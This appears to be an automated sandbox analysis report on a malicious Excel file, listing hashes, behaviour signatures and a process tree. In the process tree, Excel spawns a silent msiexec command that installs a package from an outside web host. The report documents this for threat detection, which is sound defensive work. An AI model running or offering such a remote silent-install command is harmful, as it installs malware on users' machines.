Analysis

  • max time kernel
    46s
  • max time network
    36s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-09-2024 21:20

General

  • Target

    8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls

  • Size

    82KB

  • MD5

    df10732c7400e5555e4f0e37fe8fbdc1

  • SHA1

    4bc9edf343c7021087046021aed2eebbe1cb6ae3

  • SHA256

    8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b

  • SHA512

    6334acc65489fdc107a8e28063ebadcf74bb710516fa70031b4bc0e846462d77bfbdb2dcc12a0ae72cd234369e1a7d27aac12123f01e931f4194072218b78fcb

  • SSDEEP

    1536:oKpb8rGYrMPelwhKmFV5xtezEsgrdgrebDG7XE8rMxLgb4JSt1mGJfFacueBkgVV:oKpb8rGYrMPelwhKmFV5xtezEsgrdgw2

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3980
    • C:\Windows\SYSTEM32\msiexec.exe
      msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP
      2⤵
      • Process spawned unexpected child process
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      PID:3944
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:5064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    dbf73059ab2b7042159f2bbed9c864cc

    SHA1

    b6bf717b7bca85b9634069fa8f73ab8336a647d2

    SHA256

    211e6673a047cbd6c403b466339311c41094ceb37a1558d2a55d6e44b58e5480

    SHA512

    77248727406bfcdc1e6ef878212a82a559ead5860f32ebd3e6c2bc231165658d42b882a1f36f3e08e48e03f432b2dd9374d098477c8634d2291236a42a558965

  • memory/3980-12-0x00007FFA6DD30000-0x00007FFA6DD40000-memory.dmp

    Filesize

    64KB

  • memory/3980-2-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

    Filesize

    64KB

  • memory/3980-14-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-16-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-4-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

    Filesize

    64KB

  • memory/3980-9-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-8-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-7-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-6-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-11-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-10-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-0-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

    Filesize

    64KB

  • memory/3980-1-0x00007FFAB002D000-0x00007FFAB002E000-memory.dmp

    Filesize

    4KB

  • memory/3980-3-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

    Filesize

    64KB

  • memory/3980-5-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

    Filesize

    64KB

  • memory/3980-17-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-19-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-20-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-18-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-15-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-21-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-22-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-37-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-38-0x00007FFAB002D000-0x00007FFAB002E000-memory.dmp

    Filesize

    4KB

  • memory/3980-39-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

    Filesize

    2.0MB

  • memory/3980-13-0x00007FFA6DD30000-0x00007FFA6DD40000-memory.dmp

    Filesize

    64KB